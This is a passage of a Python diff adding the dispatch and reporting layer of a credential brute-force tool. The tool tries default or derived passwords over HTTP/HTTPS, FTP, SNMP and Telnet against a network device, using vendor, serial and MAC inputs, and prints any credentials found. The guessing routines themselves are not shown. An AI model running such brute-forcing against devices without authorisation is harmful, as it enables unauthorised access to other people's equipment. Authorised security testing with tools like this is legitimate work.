+ (8080, 'http'),
778
+ (8443, 'https'),
779
+ ]
780
+ if test_http and (not ports or any(p in ports for p, _ in _http_candidates)):
781
+ for port, scheme in _http_candidates:
782
+ if ports and port not in ports:
783
+ continue
784
+ r = bruteforce_http(
785
+ host, port, vendor, serial, mac, scheme,
786
+ timeout, delay, enable_variations, stop_on_first, extra_creds,
787
+ effective_wordlist, verbose,
788
+ )
789
+ all_results.extend(r)
790
+ if stop_on_first and any(x.success for x in r):
791
+ break
792
+
793
+ # ── FTP
794
+ if test_ftp and (not ports or _ftp_port in ports):
795
+ r = bruteforce_ftp(
796
+ host, _ftp_port, vendor, serial, mac,
797
+ timeout, delay, enable_variations, stop_on_first, extra_creds,
798
+ effective_wordlist, verbose,
799
+ )
800
+ all_results.extend(r)
801
+
802
+ # ── SNMP (always try unless explicitly excluded)
803
+ if test_snmp and (not ports or _snmp_port in ports or True):
804
+ r = bruteforce_snmp(
805
+ host, _snmp_port, vendor, serial, mac,
806
+ timeout, enable_variations, stop_on_first=False, extra_creds=extra_creds,
807
+ wordlist_path=effective_wordlist, verbose=verbose,
808
+ )
809
+ all_results.extend(r)
810
+
811
+ # ── Telnet
812
+ if test_telnet and (not ports or _telnet_port in ports):
813
+ r = bruteforce_telnet(
814
+ host, _telnet_port, vendor, serial, mac,
815
+ timeout, delay, enable_variations, stop_on_first, extra_creds,
816
+ effective_wordlist, verbose,
817
+ )
818
+ all_results.extend(r)
819
+
820
+ report.all_results = all_results
821
+ report.total = len(all_results)
822
+ report.found = [r for r in all_results if r.success]
823
+
824
+ return report
825
+
826
+
827
+ # ── Output ────────────────────────────────────────────────────────────────────
828
+
829
+ def print_report(report: BruteforceReport) -> None:
830
+ """Print brute-force report to stdout."""
831
+ print(f"\n {'='*60}")
832
+ print(f" {_CYN}BRUTE FORCE REPORT — {report.host}{_RST}")
833
+ print(f" {'='*60}")
834
+ print(f" Total attempts : {report.total}")
835
+ print(f" Found : {len(report.found)}")
836
+
837
+ if report.found:
838
+ print(f"\n {_GRN}{'[+] CREDENTIALS FOUND':}")
839
+ print(f" {'-'*60}{_RST}")
840
+ for r in report.found:
841
+ print(f" {_GRN}[{r.protocol.upper()}]{_RST} "
842
+ f"{r.username!r:<14} / {r.password_display()!r:<24}")
843
+ if r.evidence:
844
+ print(f" {_DIM}{r.evidence[:72]}{_RST}")
845
+ if r.url:
846
+ print(f" {_DIM}{r.url}{_RST}")
847
+ else:
848
+ print(f"\n {_DIM}No credentials found. "
849
+ f"Device may have non-default credentials.{_RST}")
850
+ print(f" If serial number was not provided, try --bf-serial <SERIAL>")
851
+
852
+ print()